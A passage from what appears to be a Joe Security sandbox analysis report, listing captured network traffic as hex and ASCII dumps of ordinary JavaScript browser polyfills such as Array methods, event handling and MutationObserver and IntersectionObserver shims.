his )){"undefined"==typeof WorkerGlobalScope&&"function"!=typeof importScripts&&function(o){o.constructor?o.Wi
ndow=o.constructor:(o.Windo

2022-05-13 14:40:10 UTC 520 IN Data Raw: 6f 22 21 3d 6e 5b 72 5d 29 6e 5b 72 5d 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 65 28 74 2c 72 2c 6c 29 29 2b 22 
70 78 22 3b 65 6c 73 65 20 69 66 28 2f 5e 6f 75 74 6c 69 6e 65 2f 2e 74 65 73 74 28 72 29 29 74 72 79 7b 6e 5b 72 5d 
3d 69 5b 72 5d 7d 63 61 74 63 68 28 63 29 7b 6e 2e 6f 75 74 6c 69 6e 65 43 6f 6c 6f 72 3d 69 2e 63 6f 6c 6f 72 2c 6e 2e 
6f 75 74 6c 69 6e 65 53 74 79 6c 65 3d 6e 2e 6f 75 74 6c 69 6e 65 53 74 79 6c 65 7c 7c 22 6e 6f 6e 65 22 2c 6e 2e 6f 75 
74 6c 69 6e 65 57 69 64 74 68 3d 6e 2e 6f 75 74 6c 69 6e 65 57 69 64 74 68 7c 7c 22 30 70 78 22 2c 6e 2e 6f 75 74 6c 
69 6e 65 3d 5b 6e 2e 6f 75 74 6c 69 6e 65 43 6f 6c 6f 72 2c 6e 2e 6f 75 74 6c 69 6e 65 57 69 64 74 68 2c 6e 2e 6f 75 74 
6c 69 6e 65 53 74 79 6c 65 5d 2e 6a 6f 69 6e 28 22 20 22 29 7d 
Data Ascii: o"!=n[r])n[r]=Math.round(e(t,r,l))+"px";else if(/^outline/.test(r))try{n[r]=i[r]}catch(c){n.outlineColor=i.color,n.out
lineStyle=n.outlineStyle||"none",n.outlineWidth=n.outlineWidth||"0px",n.outline=[n.outlineColor,n.outlineWidth,n.outline
Style].join(" ")}

2022-05-13 14:40:10 UTC 522 IN Data Raw: 6e 73 74 61 6e 63 65 6f 66 20 4f 62 6a 65 63 74 7c 7c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6e 
29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 
65 72 74 79 20 63 61 6c 6c 65 64 20 6f 6e 20 6e 6f 6e 2d 6f 62 6a 65 63 74 22 29 3b 69 66 28 21 28 69 20 69 6e 73 74 61 
6e 63 65 6f 66 20 4f 62 6a 65 63 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 70 65 
72 74 79 20 64 65 73 63 72 69 70 74 69 6f 6e 20 6d 75 73 74 20 62 65 20 61 6e 20 6f 62 6a 65 63 74 22 29 3b 76 61 72 
20 66 3d 53 74 72 69 6e 67 28 6f 29 2c 61 3d 22 76 61 6c 75 65 22 69 6e 20 69 7c 7c 22 77 72 69 74 61 62 6c 65 22 69 
6e 20 69 2c 63 3d 22 67 65 74 22 69 6e 20 69 26 26 74 79 70 65 
Data Ascii: nstanceof Object||"object"==typeof n))throw new TypeError("Object.defineProperty called on non-object");if(!(i 
instanceof Object))throw new TypeError("Property description must be an object");var f=String(o),a="value"in i||"writable"in 
i,c="get"in i&&type

2022-05-13 14:40:10 UTC 523 IN Data Raw: 65 20 22 2b 73 29 3b 66 6f 72 28 76 61 72 20 67 2c 64 3d 79 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 
31 29 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 67 29 7b 76 
61 72 20 6e 3d 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 66 2e 63 61 6c 6c 28 64 2c 79 2e 63 61 6c 6c 28 61 72 67 75 6d 
65 6e 74 73 29 29 29 3b 72 65 74 75 72 6e 20 72 28 6e 29 3d 3d 3d 6e 3f 6e 3a 74 68 69 73 7d 72 65 74 75 72 6e 20 73 
2e 61 70 70 6c 79 28 74 2c 66 2e 63 61 6c 6c 28 64 2c 79 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 29 29 7d 2c 
76 3d 68 28 30 2c 73 2e 6c 65 6e 67 74 68 2d 64 2e 6c 65 6e 67 74 68 29 2c 46 3d 5b 5d 2c 6a 3d 30 3b 6a 3c 76 3b 6a 
2b 2b 29 62 2e 63 61 6c 6c 28 46 2c 22 24 22 2b 6a 29 3b 72 65 74 75 72 
Data Ascii: e "+s);for(var g,d=y.call(arguments,1),m=function(){if(this instanceof g){var n=s.apply(this,f.call(d,y.call
(arguments)));return r(n)===n?n:this}return s.apply(t,f.call(d,y.call(arguments)))},v=h(0,s.length-d.length),F=[],j=0;j<
v;j++)b.call(F,"$"+j);retur

2022-05-13 14:40:10 UTC 524 IN Data Raw: 72 20 65 76 65 6e 74 3b 69 66 20 28 27 63 72 65 61 74 65 45 76 65 6e 74 27 20 69 6e 20 64 6f 63 75 6d 65 
6e 74 29 7b 65 76 65 6e 74 20 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 27 45 76 65 6e 74 27 
29 3b 76 61 72 20 62 75 62 62 6c 65 73 20 3d 65 76 65 6e 74 49 6e 69 74 44 69 63 74 20 26 26 65 76 65 6e 74 49 6e 69 
74 44 69 63 74 2e 62 75 62 62 6c 65 73 20 21 3d 3d 75 6e 64 65 66 69 6e 65 64 20 3f 65 76 65 6e 74 49 6e 69 74 44 69 
63 74 2e 62 75 62 62 6c 65 73 20 3a 66 61 6c 73 65 3b 76 61 72 20 63 61 6e 63 65 6c 61 62 6c 65 20 3d 65 76 65 6e 74 
49 6e 69 74 44 69 63 74 20 26 26 65 76 65 6e 74 49 6e 69 74 44 69 63 74 2e 63 61 6e 63 65 6c 61 62 6c 65 20 21 3d 3d 
75 6e 64 65 66 69 6e 65 64 20 3f 65 76 65 6e 74 49 6e 69 74 44 69 63 74 2e 
Data Ascii: r event;if ('createEvent' in document){event =document.createEvent('Event');var bubbles =eventInitDict &&eve
ntInitDict.bubbles !==undefined ?eventInitDict.bubbles :false;var cancelable =eventInitDict &&eventInitDict.cancelable !
==undefined ?eventInitDict.

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 141 of 286



2022-05-13 14:40:10 UTC 526 IN Data Raw: 65 5d 2e 6c 69 73 74 2c 65 76 65 6e 74 73 20 3d 6c 69 73 74 2e 73 6c 69 63 65 28 29 2c 69 6e 64 65 78 20 
3d 2d 31 2c 6c 65 6e 67 74 68 20 3d 65 76 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 65 76 65 6e 74 45 6c 65 6d 65 6e 74 3b 
65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 20 3d 66 75 6e 63 74 69 6f 6e 20 70 72 65 76 65 6e 74 44 
65 66 61 75 6c 74 28 29 7b 69 66 20 28 65 76 65 6e 74 2e 63 61 6e 63 65 6c 61 62 6c 65 20 21 3d 3d 66 61 6c 73 65 29 
7b 65 76 65 6e 74 2e 72 65 74 75 72 6e 56 61 6c 75 65 20 3d 66 61 6c 73 65 3b 7d 7d 3b 65 76 65 6e 74 2e 73 74 6f 70 
50 72 6f 70 61 67 61 74 69 6f 6e 20 3d 66 75 6e 63 74 69 6f 6e 20 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 7b 
65 76 65 6e 74 2e 63 61 6e 63 65 6c 42 75 62 62 6c 65 20 3d 74 72 75 65 
Data Ascii: e].list,events =list.slice(),index =-1,length =events.length,eventElement;event.preventDefault =function pre
ventDefault(){if (event.cancelable !==false){event.returnValue =false;}};event.stopPropagation =function stopPropagation()
{event.cancelBubble =true

2022-05-13 14:40:10 UTC 527 IN Data Raw: 6e 64 65 78 20 3d 69 6e 64 65 78 4f 66 28 65 6c 65 6d 65 6e 74 2e 5f 65 76 65 6e 74 73 5b 74 79 70 65 5d 2e 
6c 69 73 74 2c 6c 69 73 74 65 6e 65 72 29 3b 69 66 20 28 69 6e 64 65 78 20 21 3d 3d 2d 31 29 7b 65 6c 65 6d 65 6e 74 
2e 5f 65 76 65 6e 74 73 5b 74 79 70 65 5d 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 69 6e 64 65 78 2c 31 29 3b 69 66 20 
28 21 65 6c 65 6d 65 6e 74 2e 5f 65 76 65 6e 74 73 5b 74 79 70 65 5d 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 29 7b 69 66 2
0 28 65 6c 65 6d 65 6e 74 2e 64 65 74 61 63 68 45 76 65 6e 74 29 7b 65 6c 65 6d 65 6e 74 2e 64 65 74 61 63 68 45 76 
65 6e 74 28 27 6f 6e 27 20 2b 74 79 70 65 2c 65 6c 65 6d 65 6e 74 2e 5f 65 76 65 6e 74 73 5b 74 79 70 65 5d 29 3b 7d 
64 65 6c 65 74 65 20 65 6c 65 6d 65 6e 74 2e 5f 65 76 65 6e 74 73 5b 74 
Data Ascii: ndex =indexOf(element._events[type].list,listener);if (index !==-1){element._events[type].list.splice(index,1);if 
(!element._events[type].list.length){if (element.detachEvent){element.detachEvent('on' +type,element._events[type]
);}delete element._events[t

2022-05-13 14:40:10 UTC 529 IN Data Raw: 65 6e 74 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 7b 62 75 62 62 6c 65 73 3a 74 72 75 65 
20 7d 29 29 3b 7d 7d 29 3b 7d 7d 28 29 29 3b 7d 69 66 28 21 28 27 6d 61 70 27 20 69 6e 20 41 72 72 61 79 2e 70 72 6f 
74 6f 74 79 70 65 29 29 7b 28 66 75 6e 63 74 69 6f 6e 28 75 6e 64 65 66 69 6e 65 64 29 7b 41 72 72 61 79 2e 70 72 6f 
74 6f 74 79 70 65 2e 6d 61 70 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 3d 3d 3d 75 6e 64 65 66 69 6
e 65 64 7c 7c 6e 75 6c 6c 3d 3d 3d 74 68 69 73 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 74 68 69 
73 2b 22 20 69 73 20 6e 6f 74 20 61 6e 20 6f 62 6a 65 63 74 22 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 
79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 
Data Ascii: ent('DOMContentLoaded',{bubbles:true }));}});}}());}if(!('map' in Array.prototype)){(function(undefined){Arr
ay.prototype.map=function(t){if(this===undefined||null===this)throw new TypeError(this+" is not an object");if("function
"!=typeof t)throw new TypeE

2022-05-13 14:40:10 UTC 530 IN Data Raw: 28 63 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 3d 63 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 
45 72 72 6f 72 28 22 47 65 74 74 65 72 20 6d 75 73 74 20 62 65 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 21 
74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 74 74 65 72 73 20 26 73 65 74 74 65 72 73 
20 63 61 6e 6e 6f 74 20 62 65 20 64 65 66 69 6e 65 64 20 6f 6e 20 74 68 69 73 20 6a 61 76 61 73 63 72 69 70 74 20 65 6
e 67 69 6e 65 22 29 3b 69 66 28 61 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 72 29 3b 6e 2e 5f 5f 
64 65 66 69 6e 65 47 65 74 74 65 72 5f 5f 28 66 2c 69 2e 67 65 74 29 7d 65 6c 73 65 20 6e 5b 66 5d 3d 69 2e 76 61 6c 
75 65 3b 69 66 28 70 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 
Data Ascii: (c){if("function"!==c)throw new TypeError("Getter must be a function");if(!t)throw new TypeError("Getters &s
etters cannot be defined on this javascript engine");if(a)throw new TypeError(r);n.__defineGetter__(f,i.get)}else n[f]=i
.value;if(p){if("function"!

2022-05-13 14:40:10 UTC 531 IN Data Raw: 27 20 69 6e 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 29 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 
70 65 2e 66 69 6c 74 65 72 20 3d 66 75 6e 63 74 69 6f 6e 20 66 69 6c 74 65 72 28 63 61 6c 6c 62 61 63 6b 29 7b 69 66 
20 28 74 68 69 73 20 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 20 7c 7c 74 68 69 73 20 3d 3d 3d 6e 75 6c 6c 29 7b 74 68 72 
6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 74 68 69 73 20 2b 27 20 69 73 20 6e 6f 74 20 61 6e 20 6f 62 6a 65 63 
74 27 29 3b 7d 69 66 20 28 74 79 70 65 6f 66 20 63 61 6c 6c 62 61 63 6b 20 21 3d 3d 27 66 75 6e 63 74 69 6f 6e 27 29 7
b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 63 61 6c 6c 62 61 63 6b 20 2b 27 20 69 73 20 6e 6f 74 20 
61 20 66 75 6e 63 74 69 6f 6e 27 29 3b 7d 76 61 72 20 6f 62 6a 65 
Data Ascii: ' in Array.prototype)){Array.prototype.filter =function filter(callback){if (this ===undefined ||this ===null){throw n
ew TypeError(this +' is not an object');}if (typeof callback !=='function'){throw new TypeError(callback +' is not a fun
ction');}var obje

2022-05-13 14:40:10 UTC 532 IN Data Raw: 20 2b 27 20 69 73 20 6e 6f 74 20 61 6e 20 6f 62 6a 65 63 74 27 29 3b 7d 69 66 20 28 74 79 70 65 6f 66 20 63 
61 6c 6c 62 61 63 6b 20 21 3d 3d 27 66 75 6e 63 74 69 6f 6e 27 29 7b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 
72 6f 72 28 63 61 6c 6c 62 61 63 6b 20 2b 27 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 27 29 3b 7d 76 61 72 
20 6f 62 6a 65 63 74 20 3d 4f 62 6a 65 63 74 28 74 68 69 73 29 2c 73 63 6f 70 65 20 3d 61 72 67 75 6d 65 6e 74 73 5b 31 
5d 2c 61 72 72 61 79 6c 69 6b 65 20 3d 6f 62 6a 65 63 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 53 74 72 69 6e 67 20 3f 6f 
62 6a 65 63 74 2e 73 70 6c 69 74 28 27 27 29 3a 6f 62 6a 65 63 74 2c 6c 65 6e 67 74 68 20 3d 4d 61 74 68 2e 6d 61 78 
28 4d 61 74 68 2e 6d 69 6e 28 61 72 72 61 79 6c 69 6b 65 2e 6c 
Data Ascii:  +' is not an object');}if (typeof callback !=='function'){throw new TypeError(callback +' is not a function');}var ob
ject =Object(this),scope =arguments[1],arraylike =object instanceof String ?object.split(''):object,length =Math.max(Mat
h.min(arraylike.l

2022-05-13 14:40:10 UTC 534 IN Data Raw: 65 20 28 2b 2b 69 6e 64 65 78 20 3c 6c 65 6e 67 74 68 29 7b 69 66 20 28 69 6e 64 65 78 20 69 6e 20 61 72 
72 61 79 6c 69 6b 65 20 26 26 61 72 72 61 79 6c 69 6b 65 5b 69 6e 64 65 78 5d 3d 3d 3d 73 65 61 72 63 68 45 6c 65 6d 
65 6e 74 29 7b 72 65 74 75 72 6e 20 69 6e 64 65 78 3b 7d 7d 72 65 74 75 72 6e 20 2d 31 3b 7d 3b 7d 69 66 28 21 28 27 
6c 61 73 74 49 6e 64 65 78 4f 66 27 20 69 6e 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 29 29 7b 41 72 72 61 79 
2e 70 72 6f 74 6f 74 79 70 65 2e 6c 61 73 74 49 6e 64 65 78 4f 66 20 3d 66 75 6e 63 74 69 6f 6e 20 6c 61 73 74 49 6e 64 
65 78 4f 66 28 73 65 61 72 63 68 45 6c 65 6d 65 6e 74 29 7b 69 66 20 28 74 68 69 73 20 3d 3d 3d 75 6e 64 65 66 69 6e 
65 64 20 7c 7c 74 68 69 73 20 3d 3d 3d 6e 75 6c 6c 29 7b 74 68 72 6f 77 
Data Ascii: e (++index <length){if (index in arraylike &&arraylike[index]===searchElement){return index;}}return -1;};}if(!
('lastIndexOf' in Array.prototype)){Array.prototype.lastIndexOf =function lastIndexOf(searchElement){if (this ===undefined 
||this ===null){throw

2022-05-13 14:40:10 UTC 535 IN Data Raw: 7c 7c 74 68 69 73 20 3d 3d 3d 6e 75 6c 6c 29 7b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 
74 68 69 73 20 2b 27 20 69 73 20 6e 6f 74 20 61 6e 20 6f 62 6a 65 63 74 27 29 3b 7d 69 66 20 28 74 79 70 65 6f 66 20 
63 61 6c 6c 62 61 63 6b 20 21 3d 3d 27 66 75 6e 63 74 69 6f 6e 27 29 7b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 
72 72 6f 72 28 63 61 6c 6c 62 61 63 6b 20 2b 27 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 27 29 3b 7d 76 61 
72 20 6f 62 6a 65 63 74 20 3d 4f 62 6a 65 63 74 28 74 68 69 73 29 2c 73 63 6f 70 65 20 3d 61 72 67 75 6d 65 6e 74 73 5b 
31 5d 2c 61 72 72 61 79 6c 69 6b 65 20 3d 6f 62 6a 65 63 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 53 74 72 69 6e 67 20 3
f 6f 62 6a 65 63 74 2e 73 70 6c 69 74 28 27 27 29 3a 6f 62 6a 65 
Data Ascii: ||this ===null){throw new TypeError(this +' is not an object');}if (typeof callback !=='function'){throw new 
TypeError(callback +' is not a function');}var object =Object(this),scope =arguments[1],arraylike =object instanceof String ?
object.split(''):obje
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2022-05-13 14:40:10 UTC 536 IN Data Raw: 68 45 6c 65 6d 65 6e 74 20 26 26 63 75 72 72 65 6e 74 45 6c 65 6d 65 6e 74 20 21 3d 3d 63 75 72 72 65 6e 
74 45 6c 65 6d 65 6e 74 29 29 7b 72 65 74 75 72 6e 20 74 72 75 65 3b 7d 6b 2b 2b 3b 7d 72 65 74 75 72 6e 20 66 61 6c 
73 65 3b 7d 7d 7d 69 66 28 21 28 27 72 65 64 75 63 65 27 20 69 6e 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 29 2
9 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 64 75 63 65 20 3d 66 75 6e 63 74 69 6f 6e 20 72 65 64 75 63 
65 28 63 61 6c 6c 62 61 63 6b 29 7b 69 66 20 28 74 68 69 73 20 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 20 7c 7c 74 68 69 
73 20 3d 3d 3d 6e 75 6c 6c 29 7b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 74 68 69 73 20 2b 27 20 
69 73 20 6e 6f 74 20 61 6e 20 6f 62 6a 65 63 74 27 29 3b 7d 69 66 20 28 
Data Ascii: hElement &&currentElement !==currentElement)){return true;}k++;}return false;}}}if(!('reduce' in Array.proto
type)){Array.prototype.reduce =function reduce(callback){if (this ===undefined ||this ===null){throw new TypeError(this +' 
is not an object');}if (

2022-05-13 14:40:10 UTC 538 IN Data Raw: 73 5b 31 5d 3b 7d 65 6c 73 65 20 7b 77 68 69 6c 65 20 28 2d 2d 69 6e 64 65 78 20 3e 6c 65 6e 67 74 68 20 
26 26 21 28 69 6e 64 65 78 20 69 6e 20 61 72 72 61 79 6c 69 6b 65 29 29 7b 7d 69 66 20 28 69 6e 64 65 78 20 3c 3d 6c 
65 6e 67 74 68 29 7b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 52 65 64 75 63 65 20 6f 66 20 65 6
d 70 74 79 20 61 72 72 61 79 20 77 69 74 68 20 6e 6f 20 69 6e 69 74 69 61 6c 20 76 61 6c 75 65 27 29 3b 7d 70 72 65 
76 69 6f 75 73 56 61 6c 75 65 20 3d 61 72 72 61 79 6c 69 6b 65 5b 69 6e 64 65 78 5d 3b 7d 77 68 69 6c 65 20 28 2d 2d 
69 6e 64 65 78 20 3e 6c 65 6e 67 74 68 29 7b 69 66 20 28 69 6e 64 65 78 20 69 6e 20 61 72 72 61 79 6c 69 6b 65 29 7b 
70 72 65 76 69 6f 75 73 56 61 6c 75 65 20 3d 63 61 6c 6c 62 61 63 6b 28 70 
Data Ascii: s[1];}else {while (--index >length &&!(index in arraylike)){}if (index <=length){throw new TypeError('Reduce of 
empty array with no initial value');}previousValue =arraylike[index];}while (--index >length){if (index in arraylike){previous
Value =callback(p

2022-05-13 14:40:10 UTC 539 IN Data Raw: 65 74 54 69 6d 65 28 29 7d 3b 21 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 3d 44 61 74 65 2e 6e 6f 
77 28 29 3b 6e 2e 70 65 72 66 6f 72 6d 61 6e 63 65 7c 7c 28 6e 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3d 7b 7d 29 2c 6e 
2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 44 61 74 65 
2e 6e 6f 77 28 29 2d 65 7d 7d 28 74 68 69 73 29 3b 7d 29 2e 63 61 6c 6c 28 27 6f 62 6a 65 63 74 27 20 3d 3d 3d 74 79 7
0 65 6f 66 20 77 69 6e 64 6f 77 20 26 26 77 69 6e 64 6f 77 20 7c 7c 27 6f 62 6a 65 63 74 27 20 3d 3d 3d 74 79 70 65 6f 6
6 20 73 65 6c 66 20 26 26 73 65 6c 66 20 7c 7c 27 6f 62 6a 65 63 74 27 20 3d 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 
6c 20 26 26 67 6c 6f 62 61 6c 20 7c 7c 7b 7d 29 3b 7d 69 66 20 28 
Data Ascii: etTime()};!function(n){var e=Date.now();n.performance||(n.performance={}),n.performance.now=function(){retur
n Date.now()-e}}(this);}).call('object' ===typeof window &&window ||'object' ===typeof self &&self ||'object' ===typeof global 
&&global ||{});}if (

2022-05-13 14:40:10 UTC 540 IN Data Raw: 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 61 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 
27 73 79 6d 62 6f 6c 27 3a 74 79 70 65 6f 66 20 61 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 28 66 75 6e 63 74 69 6f 6e 
28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 3d 64 6f 63 75 6d 65 6e 
74 5b 63 2b 27 48 69 64 64 65 6e 27 5d 2c 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3d 
64 6f 63 75 6d 65 6e 74 5b 63 2b 27 56 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 27 5d 7d 76 61 72 20 63 3d 64 6f 63 
75 6d 65 6e 74 2e 77 65 62 6b 69 74 56 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 27 77 65 62 6b 69 74 27 3a 64 6f 6
3 75 6d 65 6e 74 2e 6d 6f 7a 56 69 73 69 62 69 6c 69 74 79 53 74 
Data Ascii: uctor===Symbol&&a!==Symbol.prototype?'symbol':typeof a};(function(){(function(){function b(){docum
ent.hidden=document[c+'Hidden'],document.visibilityState=document[c+'VisibilityState']}var c=document.webkitVisibilitySt
ate?'webkit':document.mozVisibilitySt

2022-05-13 14:40:10 UTC 542 IN Data Raw: 61 66 69 6c 74 65 72 29 2c 28 65 2e 6b 69 64 73 7c 7c 65 2e 64 65 73 63 65 6e 64 65 6e 74 73 29 26 26 28 
69 3d 6c 28 6e 2c 74 2c 61 2c 65 29 29 2c 28 69 7c 7c 6e 2e 6c 65 6e 67 74 68 21 3d 3d 75 29 26 26 28 61 3d 73 28 74 
2c 65 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 65 2e 76 61 6c 75 65 7d 66 75 6
e 63 74 69 6f 6e 20 75 28 74 2c 65 29 7b 72 65 74 75 72 6e 22 73 74 79 6c 65 22 21 3d 3d 65 2e 6e 61 6d 65 3f 65 2e 76 
61 6c 75 65 3a 74 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 2c 65 2c 61 2c 6e 
29 7b 66 6f 72 28 76 61 72 20 69 2c 75 2c 6f 3d 7b 7d 2c 6c 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 73 3d 6c 2e 6c 
65 6e 67 74 68 3b 73 2d 2d 3b 29 69 3d 6c 5b 73 5d 2c 75 3d 69 2e 6e 61 
Data Ascii: afilter),(e.kids||e.descendents)&&(i=l(n,t,a,e)),(i||n.length!==u)&&(a=s(t,e))}}function i(t,e){return e.value}functio
n u(t,e){return"style"!==e.name?e.value:t.style.cssText}function o(t,e,a,n){for(var i,u,o={},l=e.attributes,s=l.length;s--;)i=l[s]
,u=i.na

2022-05-13 14:40:10 UTC 543 IN Data Raw: 5b 67 5d 3d 21 30 2c 2d 31 3d 3d 3d 28 76 3d 64 28 4e 2c 6d 2c 77 29 29 3f 69 2e 6b 69 64 73 26 26 28 65 2e 
70 75 73 68 28 72 28 7b 74 79 70 65 3a 22 63 68 69 6c 64 4c 69 73 74 22 2c 74 61 72 67 65 74 3a 61 2c 61 64 64 65 64 
4e 6f 64 65 73 3a 5b 6d 5d 2c 6e 65 78 74 53 69 62 6c 69 6e 67 3a 6d 2e 6e 65 78 74 53 69 62 6c 69 6e 67 2c 70 72 65 
76 69 6f 75 73 53 69 62 6c 69 6e 67 3a 6d 2e 70 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 7d 29 29 2c 6b 2b 2b 29 3a 6
6 2e 70 75 73 68 28 7b 69 3a 53 2c 6a 3a 76 7d 29 29 2c 53 2b 2b 29 2c 79 26 26 79 21 3d 3d 44 5b 53 5d 26 26 28 68 
5b 67 3d 63 28 79 29 5d 7c 7c 28 68 5b 67 5d 3d 21 30 2c 2d 31 3d 3d 3d 28 76 3d 70 28 44 2c 79 2c 53 29 29 3f 69 2e 
6b 69 64 73 26 26 28 65 2e 70 75 73 68 28 72 28 7b 74 79 70 65 3a 22 63 
Data Ascii: [g]=!0,-1===(v=d(N,m,w))?i.kids&&(e.push(r({type:"childList",target:a,addedNodes:[m],nextSibling:m.nextSibli
ng,previousSibling:m.previousSibling})),k++):f.push({i:S,j:v})),S++),y&&y!==D[S]&&(h[g=c(y)]||(h[g]=!0,-1===(v=p(D,y,S))?
i.kids&&(e.push(r({type:"c

2022-05-13 14:40:10 UTC 545 IN Data Raw: 61 72 61 63 74 65 72 44 61 74 61 26 26 21 65 2e 63 68 61 72 61 63 74 65 72 44 61 74 61 4f 6c 64 56 61 6c 75 
65 29 7d 2c 69 3d 74 68 69 73 2e 5f 77 61 74 63 68 65 64 2c 75 3d 30 3b 75 3c 69 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 
69 5b 75 5d 2e 74 61 72 3d 3d 3d 74 26 26 69 2e 73 70 6c 69 63 65 28 75 2c 31 29 3b 65 2e 61 74 74 72 69 62 75 74 65 
46 69 6c 74 65 72 26 26 28 72 2e 61 66 69 6c 74 65 72 3d 66 28 65 2e 61 74 74 72 69 62 75 74 65 46 69 6c 74 65 72 2c 
66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 5b 65 5d 3d 21 30 2c 74 7d 2c 7b 7d 29 29 2c 69 2e 
70 75 73 68 28 7b 74 61 72 3a 74 2c 66 6e 3a 6e 28 74 2c 72 29 7d 29 2c 74 68 69 73 2e 5f 74 69 6d 65 6f 75 74 7c 7c 
61 28 74 68 69 73 29 7d 2c 74 61 6b 65 52 65 63 6f 72 64 73 3a 66 75 6e 
Data Ascii: aracterData&&!e.characterDataOldValue)},i=this._watched,u=0;u<i.length;u++)i[u].tar===t&&i.splice(u,1);e.att
ributeFilter&&(r.afilter=f(e.attributeFilter,function(t,e){return t[e]=!0,t},{})),i.push({tar:t,fn:n(t,r)}),this._timeout||a(this)
},takeRecords:fun

2022-05-13 14:40:10 UTC 546 IN Data Raw: 72 6f 6f 74 2e 6e 6f 64 65 54 79 70 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 27 72 6f 6f 74 20 6d 
75 73 74 20 62 65 20 61 6e 20 45 6c 65 6d 65 6e 74 27 29 3b 74 68 69 73 2e 5f 63 68 65 63 6b 46 6f 72 49 6e 74 65 72 
73 65 63 74 69 6f 6e 73 3d 68 28 74 68 69 73 2e 5f 63 68 65 63 6b 46 6f 72 49 6e 74 65 72 73 65 63 74 69 6f 6e 73 2e 62 
69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 54 48 52 4f 54 54 4c 45 5f 54 49 4d 45 4f 55 54 29 2c 74 68 69 73 2e 5f 63 
61 6c 6c 62 61 63 6b 3d 71 2c 74 68 69 73 2e 5f 6f 62 73 65 72 76 61 74 69 6f 6e 54 61 72 67 65 74 73 3d 5b 5d 2c 74 68 
69 73 2e 5f 71 75 65 75 65 64 45 6e 74 72 69 65 73 3d 5b 5d 2c 74 68 69 73 2e 5f 72 6f 6f 74 4d 61 72 67 69 6e 56 61 6c 
75 65 73 3d 74 68 69 73 2e 5f 70 61 72 73 65 52 6f 6f 74 
